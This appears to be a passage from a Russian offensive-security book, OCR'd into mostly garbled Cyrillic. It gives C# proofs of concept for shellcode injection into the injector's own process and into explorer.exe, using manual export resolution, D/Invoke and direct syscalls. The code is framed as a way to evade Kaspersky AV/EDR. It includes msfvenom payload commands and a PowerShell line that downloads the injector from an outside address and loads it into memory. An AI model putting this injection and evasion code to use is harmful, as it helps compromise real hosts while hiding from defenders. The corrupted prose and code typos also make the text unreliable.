DynamicAPIlInvoke 6e3 D/Invoke

Mue oueHp HpaBHUTCS mnpuMep H3 craTbd https://blog.xpnsec.com/weird-ways-to-
execute-dotnet/ xpn (https://twitter.com/_Xpn_, BTOpoil THCTHHT KOoJa B pasgene «A
Quick History Lesson»), rie oH noka3bIBaeT, KAk MOXHO HCIOJIb30BaTh BCIO MOIIb Jelie-
raToB BMECTE C PYyYHBIM [IOMCKOM 3KCIOPT-aapeca HEYNpaBisieMoH QyHKIHH MEHEe YeM
3a 50 cTpok.

[lepeumenyeM ¢yHkunw StartShellcodeViaDelegate B Main, H100aBUM He0OXOIHUMBIE
CTPYKTYpBI (cUrHaTyphl B3saThl ¢ http://www.pinvoke.net), 1 y Hac rOoTOB CleayOILHH
PoC nns neMoHCTpauuyu THHAMHYECKOH HHBEKIIUHU MIEI-KOoIa.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace DynamicAPIInvoke
{
/// <summary>
/// "A Quick History Lesson"
/// https://blog.xpnsec.com/weird-ways-to-execute-dotnet/
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/// </summary>
public class Program

{
[UnmanagedFunctionPointer (CallingConvention.Winapi) ]

delegate IntPtr VirtualAllocDelegate (IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);

[UnmanagedFunctionPointer (CallingConvention.Winapi) ]
delegate IntPtr ShellcodeDelegate();

static IntPtr GetExportAddress (IntPtr baseAddr, string name)

{
var dosHeader = Marshal-.PtrToStructure<IMAGE DOS HEADER> (baseAddr) ;

var peHeader =
Marshal.PtrToStructure<IMAGE OPTIONAL HEADER64>(baseAddr + dosHeader.e_lfanew +

4 + Marshal.SizeOf<IMAGE FILE HEADER>());

var exportHeader =
Marshal.PtrToStructure<IMAGE EXPORT DIRECTORY> (baseAddr +

(int) peHeader.ExportTable.VirtualAddress) ;

for (int i = 0; i < exportHeader.NumberOfNames; i++)

{
var nameAddr = Marshal.ReadInt32 (baseAddr +

(int) exportHeader.AddressOfNames + (i * 4));
var m = Marshal.PtrToStringAnsi (baseAddr + (int)nameAddr):;
if (m == "VirtualAlloc")

{
var exportAddr = Marshal.ReadInt32 (baseAddr +

(int) exportHeader.AddressOfFunctions + (i * 4));
return baseAddr + (int)exportAddr;

return IntPtr.Zero;

public static void Main()

{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the

Planet!' EXITFUNC=thread -f csharp
byte[] shellcode = new byte([] { };

// ViueM 3KCnopT-afpeC U3 yXe 3aTPyXEHHO! B NaMATb OuBIMOTEKM

kernel32.dll
IntPtr virtualAllocAddr = IntPtr.Zero;

foreach (ProcessModule module in

Process.GetCurrentProcess () .Modules)
if (module.ModuleName.ToLower () == "kernel32.dll")



a 23 a

virtualAllocAddr = GetExportAddress (module.BaseAddress,
"VirtualAlloc");

// VHMumMamMsypyeM OeJjleraT HaiOeHHHEM anpecoM
var VirtualAlloc = Mar-
shal.GetDelegateForFunctionPointer<VirtualAllocDelegate> (virtualAllocAddr) ;

// Buimensem o6nacTb namatn shellcode.lLength GaiT B ampecHoOM
NMPOCTPAHCTBE TeKylero npouecca uHxekropa (0x3000 = MEM COMMIT | MEM RESERVE,
0x40 = PAGE EXECUTE READWRITE)

var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
0x3000, 0x40);

// 3BanuceBaeM WesnsI-KOI B BbUISJIEHHYKD OONaCTb
Marshal.Copy (shellcode, 0, execMem, shellcode.Length);

// OfpamaeMcs K wWesi-kooy Kak k QYHKLMM M 3anyckaeM ero 6e3 cosma-—
HMA HOBOI'O IIOTOK&

var shellcodeCall = Mar-
shal.GetDelegateForFunctionPointer<ShellcodeDelegate> (execMem) ;

shellcodeCall () ;

[StructLayout (LayoutKind. Sequential) ]
struct IMAGE DOS HEADER
{

//
http://www.pinvoke.net/default.aspx/Structures/IMAGE DOS HEADER.html

}

[StructLayout (LayoutKind.Sequential, Pack = 1)]
struct IMAGE OPTIONAL HEADERG64
{
//
http://www.pinvoke.net/default.aspx/Structures/IMAGE OPTIONAL HEADERG64.html
}

[StructLayout (LayoutKind. Sequential) ]
struct IMAGE DATA DIRECTORY
{
//
http://www.pinvoke.net/default.aspx/Structures/IMAGE DATA DIRECTORY.html

}

[StructLayout (LayoutKind.Sequential) ]
struct IMAGE FILE HEADER
{
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//
http://www.pinvoke.net/default.aspx/Structures/IMAGE FILE HEADER.html

}

[StructLayout (LayoutKind.Sequential) ]
struct IMAGE EXPORT DIRECTORY
{
//
http://www.pinvoke.net/default.aspx/Structures/IMAGE_EXPORT DIRECTORY.html

}

Puc. 1.11. DynamicAPIInvoke 6e3 D/Invoke

B 3TOM mpuMepe A1 NpOCTOTHI UCIONB3YETCs TaK Ha3biBaeMasi self-HHBbeKLus, Kora Mbl
HE LIeJMMCs B yJaJEeHHBIN MpOLECC, @ 3aMHChIBaeM IUEJI-KOJ B BUPTYaJbHYIO MaMsTh
mpolecca caMoro HMHxekTopa (K CJIOBY, 3TO TOXe TroJHas TakTHkKa Oaiimaca AV)
(puc. 1.11).

[TocMOTpHM, €CTh JIM MOAO3PUTENbHBIE HUMIIOPTHI, C MOMOIUBIO HAILEro MMIPOBH3HPO-
BaHHOIO CKpHITA JUIsl CTaTHYECKoro aHanusa (puc. 1.12).

HmrnoproB He HalaeHo, Bce 1o miaHy. A uto ckaxer API Monitor npu 3amycke HHXeK-
Topa (puc. 1.13)?

Toxe no Hymsim. [Tposepum peakuuto KIS Ha stor Ounaps (puc. 1.14).
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Puc. 1.14. «Kacnepckuitn Hegosoner DynamicAPlInvoke.exe

Jaxe He ycnein 3anycTuts... Ho Mbl 1BH)KEMCS B IPaBUIbHOM HalpaBieHUH !

 Bawa sauura akrusna

Puc. 1.15. Kak te6e Takoe, Kacnepckunn?
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BoHyc

Ha camom pgene, B aToM cny4ae «Kacnep» nanut ewe 1 3axapAKoXeHHble CTPOKK (Hanpu-
Mep, "VirtualAlloc") U UMeHa nepemeHHbIX. Ecnu ux obdycumposate unu sawmndpo-
BaTb, KaK s Aenaio BOT TyT:
https://gist.github.com/snovvcrash/35773330434e738bd86155894338ba4f,

Mbl OCTaHeMcs BHe 30Hbl BuauMocTu pagapos EDR (puc. 1.15).

Onnako crioinep: npu 6onee CI0KHOH cCXeMe HHXKEKTOpa, KakK, HallpUMeEp, 3aIlycK MOTO-
Ka B yJaJICHHOM IIpoLiecCe, HaC BCE PABHO CHANAT Ha 3BpHcTHKE. ClenoBaTeNbHO, VI
HaIIeH 3alaui 3TOT METOJ HE MOJOMET.

DynamicAPlinvoke ¢ nomouisto D/invoke

PaccmoTpuM, Kak peann3oBaTh HHBEKIMIO B YAaleHHBIH npolecc ¢ nomouisio D/Invoke
M DynamicAPIInvoke. [y 3TOro cozmaaum HOBbIH mpoekT Visual Studio M oraensHO
KJIoHUpyeM penosutopuii D/Invoke. s «60eBBIX» omnepanuii s ObI HE CTaN MOJIb30BATh-
cst rotoBbIM naketoM NuGet, a Bkimrounn 61 copiisl D/Invoke B ¢BO# IpoeKT, YTOOB! H3-
6exath noreHuUanbHeIX IOC ¥ HEe MyUHThCS ¢ 00BEAUHEHHEM COOPOK B OJHY.

git clone https://github.com/TheWover/DInvoke.git

JIOJIXKHO MOTYYHThCS YTO-TO BpoAe 3Toro (puc. 1.16).

Puc. 1.16. Ctpyktypa npoekta Dinvoke_DynamicAPIIinvoke

A BoT coaepxumoe camoro PoC.
using System;
using System.Diagnostics;
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using System.ComponentModel;
using System.Runtime.InteropServices;

namespace DInvoke DynamicAPIInvoke
{
class Delegates
{
[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate IntPtr OpenProcess (
DInvoke.Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
int dwProcessId);

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate IntPtr VirtualAllocEx(

IntPtr hProcess,

IntPtr lpAddress,

uint dwSize,

uint flAllocationType,

uint flProtect):;

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate bool WriteProcessMemory (

IntPtr hProcess,

IntPtr lpBaseAddress,

byte[] lpBuffer,

int nSize,

out IntPtr lpNumberOfBytesWritten);

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate IntPtr CreateRemoteThread (

IntPtr hProcess,

IntPtr lpThreadAttributes,

uint dwStackSize,

IntPtr lpStartAddress,

IntPtr lpParameter,

uint dwCreationFlags,

IntPtr 1lpThreadId);

public class Programr

{

static IntPtr
OpenProcess (DInvoke.Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle, int dwProcessId)

{
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object[] parameters = { dwDesiredAccess, bInheritHandle,
dwProcessId };

var result =
(IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke ("kernel32.dl1l",
"OpenProcess", typeof (Delegates.OpenProcess), ref parameters);

return result;

static IntPtr VirtualAllocEx (IntPtr hProcess, IntPtr lpAddress, uint
dwSize, uint flAllocationType, uint flProtect)
{
object[] parameters = { hProcess, lpAddress, dwSize,
flAllocationType, flProtect };

var result =
(IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke ("kernel32.d11",
"VirtualAllocEx", typeof (Delegates.VirtualAllocEx), ref parameters);

return result;

static bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten)
{

var numBytes = new IntPtr();

object([] parameters = { hProcess, lpBaseAddress, lpBuffer, nSize,
numBytes -};

var result =
(bool) DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke ("kernel32.d11",
"WriteProcessMemory", typeof (Delegates.WriteProcessMemory), ref parameters);

if ('result) throw new Win32Exception (Marshal.GetLastWin32Error());
1pNumberOfBytesWritten = (IntPtr)parameters(4];

return result;

static IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr lpThreadId)

{
object[] parameters = { hProcess, lpThreadAttributes, dwStackSize,
lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
var result =
(IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke ("kernel32.d11",
"CreateRemoteThread", typeof (Delegates.CreateRemoteThread), ref parameters);

return result;



) 30 a

public static void Main(string[] args)

{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the
Planet!' EXITFUNC=thread -f csharp

byte[] buf = new bytel[] { };

// Tosnyuyaem PID mpouecca explorer.exe
int processld = Process.GetProcessesByName ("explorer") [0].Id;

// TomyuaeM xeHmnn mnpolecca no ero PID

IntPtr hProcess =
OpenProcess (DInvoke.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS ALL ACCESS,

false, processId);

// Belmensiem obnacTe nNamsaTu buf.Length 6air

IntPtr allocAddr = VirtualAllocEx (hProcess, IntPtr.Zero,
(uint)buf.Length, DInvoke.Data.Win32.Kernel32.MEM COMMIT |
DInvoke.Data.Win32.Kernel32.MEM RESERVE,

DInvoke.Data.Win32.WinNT. PAGE EXECUTE READWRITE) ;

// 3amuceBaeM WeJul-KOI B BHIIEJIEHHY OOJIacTb
_ = WriteProcessMemory (hProcess, allocAddr, buf, buf.Length, out

// BanyckaeMm MOTOK
_ = CreateRemoteThread (hProcess, IntPtr.Zero, 0, allocAddr,
IntPtr.Zero, 0, IntPtr.Zero);

}

OO6cynum  Bkparue, 4TO 3jech npousouwto. Jns mnpumepa Bo3bMeM API-BbI30B
WriteProcessMemory. B ciyuae ctatudeckoro umnopta P/Invoke ucmnons3oBanue 3Toro
API Boirnsneno rak (puc. 1.17).

public class Program
{
[DllImport ("kernel32.d11")]
static extern bool WriteProcessMemory (
IntPtr hProcess,
IntPtr lpBaseAddress,
byte([] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
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Puc. 1.17. DynamicAPlInvoke ¢ nomowto D/Invoke

IIpu ucnons3oBanun DynamicAPIInvoke u3 D/Invoke s co3gman ¢yHKIHIO-Bpamnmep
WriteProcessMemory, IPHHUMAIOLIYIO T€ XK€ apryMEHTHI, KOTOpbi€ YKa3aHbl B CHTHATYpe
JieJierara, ¥ rnepeaouyto ynpaeieHue jJoruke D/Invoke.

class Delegates
{
[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate bool WriteProcessMemory (
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);

public class Program

{
static bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten)

{
// 3ra nepemenHaa OyImeT oTBedaTb 3a out-aprymeHT lpNumberOfBytesWritten
var numBytes = new IntPtr();

// CoopyxaeM OOGBEKT, COIepXaupsi BXOOAUME APTYMEHTH, KOTOPLIA Oymer
rnepenaH LeneBon QyHKLy, U BeBuEBaeM DynamicAPIInvoke
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object[] parameters = { hProcess, lpBaseAddress, lpBuffer, nSize,
numBytes }; '

var result =
(bool) DInvoke.DynamicInvoke.Generic. DynamchPIInvoke("kerneb32 diin,
"WriteProcessMemory", typeof (Delegates. erteProcessMemory), ref parameters);

// B cnyyae Heymaum OpOCaeM MCKIIOUEHME, MHAue nepeonpe,uenzeM out-
apryMeHT lpNumberOfBytesWritten 3HaveHmeM numBytes

if (!result) throw new Win32Exception (Marshal. GetLastW1n32Error())
lpNumberOfBytesWritten = (IntPtr)parameters([4];

// Bo3BpallaeM pes3yJbTarT
return result;

310 cHenano, YTo6k! yIPOCTHTL HCTIONB30BAaHHE LIEIEBOMH (QYHKLMH: CHHTAKCHC obpalie-

HHA K WriteProcessMemory B o6oux ClIydasX OCTac€TCsd OI[HHaKOBLIM:'
= WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out '_);

Teneps BaXKHBIIf MOMEHT: €CJIH MBI PELIMJIH TMOJIb30BaThCA MpoekToM D/Invoke, 3a0biBa-
€M 0 TOM, 4YTO 61rmap1> MOXHO ITIOJIOXKHTBh Ha IUCK (HOCLIHJI}OTCS{ aneprl). Ho 3to He
CTpaliHo, B€Ob 3TO C#, a 3Ha4YMT, BCCraa MOXHO 3arpy3uTb OaiThI C06paHH01"0 HHXXCK-
TOpa NMPSMO B NMaMATh C MOMOIIBI) System.Reflection.Assembly (IIOMHHM O TOM, YTO
KJIaCC C TOYKO#l BXoza nporpaMMbel JOJDKEH OBITh OOBSBIIEH Kak public, paBHO KakK H
(GYHKIMA Main).
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MPUMEYAHUE
Mpo 3arpy3ky cbopok C# B namsiTb TOXXE €CTb HECKONbLKO UHTEPECHLIX CTaTew:

= Running a .NET Assembly in Memory with Meterpreter
(https://lwww.praetorian.com/blog/running-a-net-assembly-in-memory-with-
meterpreter/)

= PowerShell load .Net Assembly
(https://pscustomobject.github.io/powershell/howto/PowerShell-Add-Assembly/)

= Converting C# Tools to PowerShell (https://icyguider.github.io/2022/01/03/
Convert-CSharp-Tools-To-PowerShell.html)

Sdata = (New-Object
System.Net.WebClient) .DownloadData ('http://192.168.0.184/DInvoke DynamicAPIInvo
ke.exe')

Sassembly = [System.Reflection.Assembly]: :Load ($data)

[DInvoke DynamicAPIInvoke.Program]::Main(" ")

HO, OX H aX, — H 3TO NMOBCACHHUEC NCTCKTUTCA «KacnepcxuM» IIPpH BBINIOJTHEHHH. Mkl ObI-
JIU K 3TOMY I'OTOBBI, [I0O3TOMY l'ICpCI?II[CM K TsDKeJon ApTUJNIEPUH — CUCTEMHBIM BbI3OBaM
B D/Invoke (puc. 1.18).

3a4yeM CUCTEMHbIE BbI30BbI?

I/ITaK, BKpaTLEC, YTO TAKOC CUCTEMHBIC BBI3OBBI B KOHTCKCTE Hauiei TeMbl U no4yeMy Hx
HCMO0JIb30BAHUE MOXKET KaK-TO ITOMOYb B CII0XKHBIIEHCS cmyaunn?

B Windows cymectByer aBa Buaa API: Win32 API u Native API (puc. 1.19).

1. Win32 API (kernel32.dll, user32.dll, advapi32.dll U ApPYTrHe) — IOKYMEHTHPO-
BaHHBIA M MOHATHBIH API, KOTOpBIIl rogamMu ocTaeTcss HETPOHYTHIM, YTOOBI HE JIO-
MaTh yXe HallMCaHHbIE IPOrpaMMbl M HE 3aCTaBJIATh pa3paboOTYHKOB 3aHOBO H300pe-
TaTh BEJOCHIEN, KOrja UM HyXKHa peanu3auus Oa3oBbIx Bellei. ['py6o rosops,
¢ynxkunn Win32 APl — 3710 dyHKUMH-00epTKH, KOTOpblE BHYTPH OOpaIlaloTcs K
Native API (mpumepHoO Tak e, Kak U Halll IPUMEp € DynamicAPIInvoke BBILIE).

2. Native API (ntdl1.d11) — HeZOKYMEHTHPOBaHHbIH #-HenonsrHbit AP, peannzanus
KOTOPOr0 MOXET MEHAThCS OT Bepcuu K Bepcun Windows. dyHkumnu Native API, B
CBOIO Ouepesib, — 3TO OOEPTKH Ul CHCTEMHBIX BbI30BOB.

s Hac, Kak AJs aTaKkyroIIUX, BA)KHO YMETh M3BJIEKATh BBITOAY U3 KaX10i 0COOEHHOCTH
OC, noToMy 4YTO MBI BCeria rnomnagaeM Ha HeM3BeCTHYI0 TePPHTOPHIO, OKa3biBasCh Ha
HpOEKTe, M, KpOME MEPEYHCIEHHBIX OCOOEHHOCTEH, Y HAC MO YMOJYaHHIO HUYEro HeT.
B 1o Bpems kak o0opoHstoLecs oOBemaHbl 1eaoi Kyyed MylbTUMHIITHOHHBIX SIEM 1
EDR, y Hac ecTb TOJNBKO Mayka CaMONMJIEHHBIX cKpUnToB ¢ npoctopoB GitHub ot npy-
YKECTBEHHOT0 KOMBIOHHUTH (HY M JHLEH3HOHHBIH «KobanbT», pazymeercs).

K ueMy s 3T0 — B HEKOTOPBIX CHUTyallHsIX Ul HAaC BHIFOJIHEE UCIOb30BaTh Native API,
yeM Win32 API, 4toObl ocTaBaThcs Kak MOXKHO Onmmke K pexumy sapa (Ring 0). Benp
TaM He neHcTBy10T 3akoHbl AV/EDR, koTopsie MepTBOH XBaTKO# BLENWIHCH B MOJB30-
BaTenbCckuii pexxuM (Ring 3, puc. 1.20).



Least privileged

Puc. 1.20. Konbua npusuneruii apxmtektypbl x86
B 3alyMLLEeHHOM pexuMe (aBTop cxembl — jhalon.github.io)

Kak TblI ye MOT NOHATb, HAlllM 3K3epcHchl ¢ D11Import (P/Invoke) v DynamicAPIInvoke
(D/Invoke) — 310 He 4TO MHOE, Kak npuMeps! ucnonb3oBanus Win32 API. [TonpoGyem
COTBOPHTD TO K€ CAMOE Ha CUCTEMHBIX BbI30BaX.



TMONIE3HBIE CCbINKNA

= Red Team Tactics: Utilizing Syscalls in C# — Prerequisite Knowledge
(https://jhalon.github.iolutilizing-syscalls-in-csharp-1/)

= Red Team Tactics: Utilizing Syscalls in C# — Writing The Code
(https://jhalon.github.io/utilizing-syscalls-in-csharp-2/)

= Using Syscalls to Inject Shellcode on Windows
(https://lwww.solomonsklash.io/syscalls-for-shellcode-injection.html)

= Syscalls with D/Invoke (https://offensivedefence.co.uk/posts/dinvoke-syscalls/)

= Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams
(https://lwww.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-
invocation-of-system-calls-for-red-teams/)

= Malware Analysis: Syscalls (https://jmpesp.me/malware-analysis-syscalls-example/)

GetSyscallStub ¢ nomouwbto D/Invoke

Wrak, kpaiiHas rpaHdua nepen nepexoaoM B kernel-pexxuM — ¢yHkuuu Native APIL.
OHH XHBYT B OHONHOTEKE ntdll.dll, H OOHH H3 CIOCOOOB 10 HHUX OecrnaJeBHO NOCTY-
4aTbCAd — 3TO pacnapcuTh PE-cTpykTypy JHObI H MOJYYHTh aapeca HY>KHbIX IKCIIOPTOB.
B 3toM, cobcTBEHHO, HaMm 1 nomoraeT D/Invoke.

Paccmotpum cnenyromuil koa.

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

namespace DInvoke GetSyscallStub
{
class Win32
{
{StructLayout (LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;

[Structlayout (LayoutKind. Sequential) ]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;



class Delegates

{

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]

public delegate DInvoke.Data.Native.NTSTATUS NtOpenProcess (
ref IntPtr ProcessHandle,
DInvoke.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess,
ref Win32.0BJECT ATTRIBUTES ObjectAttributes,
ref Win32.CLIENT ID ClientId);

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory (
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory (
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
uint BufferlLength,
ref uint BytesWritten);

[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate DInvoke.Data.Native.NTSTATUS NtCreateThreadEx (
ref IntPtr threadHandle,
DInvoke.Data.Win32.WinNT.ACCESS MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributelist);

public class Program

{
static DInvoke.Data.Native.NTSTATUS NtOpenProcess (ref IntPtr
ProcessHandle, DInvoke.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess,
ref Win32.0BJECT_ ATTRIBUTES ObjectAttributes, ref Win32.CLIENT ID ClientId)



IntPtr stub =
DInvoke.DynamicInvoke.Generic.GetSyscallStub ("NtOpenProcess") ;

Delegates.NtOpenProcess ntOpenProcess =
(Delegates.NtOpenProcess)Marshal .GetDelegateForFunctionPointer (stub,
typeof (Delegates.NtOpenProcess)) ;

return ntOpenProcess (ref ProcessHandle, DesiredAccess, ref
ObjectAttributes, ref ClientId);

}

static DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory (IntPtr
ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize,
uint AllocationType, uint Protect)

i

1

IntPtr stub =
DInvoke.DynamicInvoke.Generic.GetSyscallStub ("NtAllocateVirtualMemory") ;
Delegates.NtAllocateVirtualMemory ntAllocateVirtualMemory =
(Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer (stub,
typeof (Delegates.NtAllocateVirtualMemory)) ;

return ntAllocateVirtualMemory (ProcessHandle, ref BaseAddress,
ZeroBits, ref RegionSize, AllocationType, Protect);

}

static DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory (IntPtr
ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint
BytesWritten)
{
IntPtr stub =
DInvoke.DynamicInvoke.Generic.GetSyscallStub ("NtWriteVirtualMemory") ;
Delegates.NtWriteVirtualMemory ntWriteVirtualMemory =
(Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer (stub,
typeof (Delegates.NtWriteVirtualMemory)) ;

return ntWriteVirtualMemory (ProcessHandle, BaseAddress, Buffer,
BufferLength, ref BytesWritten);

}

static DInvoke.Data.Native.NTSTATUS NtCreateThreadEx (ref IntPtr
threadHandle, DInvoke.Data.Win32.WinNT.ACCESS MASK desiredAccess, IntPtr
objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter,
bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize,
IntPtr attributelList)
{
IntPtr stub =
DInvoke.DynamicInvoke.Generic.GetSyscallStub ("NtCreateThreadEx") ;
Delegates.NtCreateThreadEx ntCreateThreadEx =
(Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer (stub,
typeof (Delegates.NtCreateThreadEx)) ;
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return ntCreateThreadExgref threadHandle, desiredAccess,
objectAttributes, processHandle, startAddress, parameter, createSuspended,
stackZeroBits, sizeOfStack, maximumStackSize, attributelist);

}

public static void Main(string[] args)
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the
Planet!' EXITFUNC=thread -f csharp
byte[] buf = new bytel] { };

// Tomyyaem PID mpollecca explorer.exe
int processId = Process.GetProcessesByName ("explorer") [0].Id;

// Tosy4yaeMm xeHOs mpoliecca no ero PID

IntPtr hProcess = IntPtr.Zero;
Win32.0BJECT_ATTRIBUTES oa = new Win32.0BJECT_ATTRIBUTES();

Win32.CLIENT ID ci = new Win32.CLIENT ID { UnigueProcess =

(IntPtr)processId };
= NtOpenProcess (ref hProcess,
DInvoke.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS ALL ACCESS, ref oa, ref

ci);

// Bulmensem obyacTh namsaTy buf.Length 6amnt

IntPtr baseAddress = IntPtr.Zero;

IntPtr regionSize = (IntPtr)buf.Length;

= NtAllocateVirtualMemory (hProcess, ref baseAddress, IntPtr.Zero,
ref regionSize, DInvoke.Data.Win32.Kernel32.MEM COMMIT |

DInvoke.Data.Win32.Kernel32.MEM RESERVE,
DInvoke.Data.Win32.WinNT.PAGE EXECUTE READWRITE);

// 3amnmcelBaeM WeJsiyI-KON B BbOSJIEHHYI OOJIAaCThb

var shellcode = Marshal.AllocHGlobal (buf.Length);

Marshal.Copy (buf, 0, shellcode, buf.Length);

uint bytesWritten = 0;

_ = NtWriteVirtualMemory (hProcess, baseAddress, shellcode,
(uint)buf.Length, ref bytesWritten);

Marshal.FreeHGlobal (shellcode) ;

// 3anyckaem IMOTOK
IntPtr hThread = IntPtr.Zero;

= NtCreateThreadEx (ref hThread,
DInvoke.Data.Win32.WinNT.ACCESS MASK.MAXIMUM ALLOWED, IntPtr.Zero, hProcess,

baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
t
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B 3atom PoC mbl 3aMeHMIM Bee hYHKUMH, YYACTBYIONIME B MHXKEKTE MIC/T-KO/Ia, BHI30BA-
mu Native API, a uMeHHO:

a OpenProcess — NtOpenProcess,
O virtualAllocEx — NtAllocateVirtualMemory;
O writeProcessMemory — NtWriteVirtualMemory;

O createRemoteThread — NtCreateThreadEx.

Puc. 1.21. Tynum 8 ucxogHvkn ReactOS
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IlepBslit BONMpOC, NPUXOIALIMA B TOJIOBY, — Kak Mbl ONpENEIHIH, YTO UMEHHO 3TH
¢byskunun Native API nexxat B ocHoBe Tex BbI30BOB Win32 API, koTopble MbI HCIIOJIB30-
Banu paHbuie? Yto ik, camblif mpaBemHbIil COCOO 3TO BBIACHUTH — CaMOCTOSITEIBHO
OKYHYTBCSI B IyYHHY AH3acCeMOJIMpOBaHHUS kernel32.dll... Ho Tak kak y MeHs Janku
(a ewe HeT npodeccroHaNbHOI «MabI»), TO MOXKHO MOCMOTpPETh Ha copubl ReactOS, raoe
BCE 3TO YIKE ¥ipasH CcIealu 10 Hac.

Hanpumep, B GpyHKIHH CreateRemoteThread €CTb HEIBYCMBICIIEHHBIH HaMEK Ha BHI3OB
NtCreateThread, 4YTO OTHOCHT Hac k curHatype NtCreateThreadEx (puc. 1.21).

MNPUMEYAHUE

Tawke ecTb nonesHbiii MannuHr BbizoBoB Win32 AP| Ha Native API, coenaHHbi B aBTOMa-
TuyeckoM pexume: https://github.com/EspressoCake/NativeFunctionStaticMap/blob/
main/Native_API_Resolve.pdf.

Takum o6pa3oM, CHOBa MOCMOTPHM Ha pa3iHuyksg MEXIY CTaTHYECKUM HMIIOPTOM
P/Invoke 1 MCnoOab30BaHHEM CHCTEMHOrO BbI30Ba ¢ nomolusto D/Invoke mns ¢yHkinu

WriteProcessMemory

Bbeiio:

public class Program
{
[DllImport ("kernel32.d1l1l")]
static extern bool WriteProcessMemory (
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);

Crano:
class Delegates
{
[UnmanagedFunctionPointer (CallingConvention.StdCall) ]
public delegate bool WriteProcessMemory (
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);

public class Program

{

static DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory (IntPtr
ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint
BytesWritten)
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// Tonyyaem cTab® (ykasaTesb Ha 3KCIOPT UeJIeBOM (yHKLMM) CUCTEMHOTO
BHI3OBA M MHMLUMAJIM3VPYEM MM OeJieraT

IntPtr stub =
DInvoke.DynamicInvoke.Generic.GetSyscallStub ("NtWriteVirtualMemory") ;

Delegates.NtWriteVirtualMemory ntWriteVirtualMemory =
(Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer (stub,
typeof (Delegates.NtWriteVirtualMemory)) ;

// OBpawaeMcs K nejeraTy Kak K LeJIeBOM (yHKLUMM M BO3BpallaeM pes3yJsbTaT
return ntWriteVirtualMemory (ProcessHandle, BaseAddress, Buffer,
BufferLength, ref BytesWritten);

3
i

Yro sk, monpoOyeM 3amyCTUTh.

Puc. 1.22. GetSyscallStub ¢ nomowto D/Invoke

Pa6oraet. [TpoBepka Ha «Kacnepckom» (puc. 1.22).

MNPUMEYAHNE

Ewe oguH nogapok ot oddeHcus-coobliectea — 310 pecypc https://dinvoke.net 3a as-
TopcTBom @_RastaMouse (https://twitter.com/_RastaMouse), rae MOXHO ckonunacTuTb
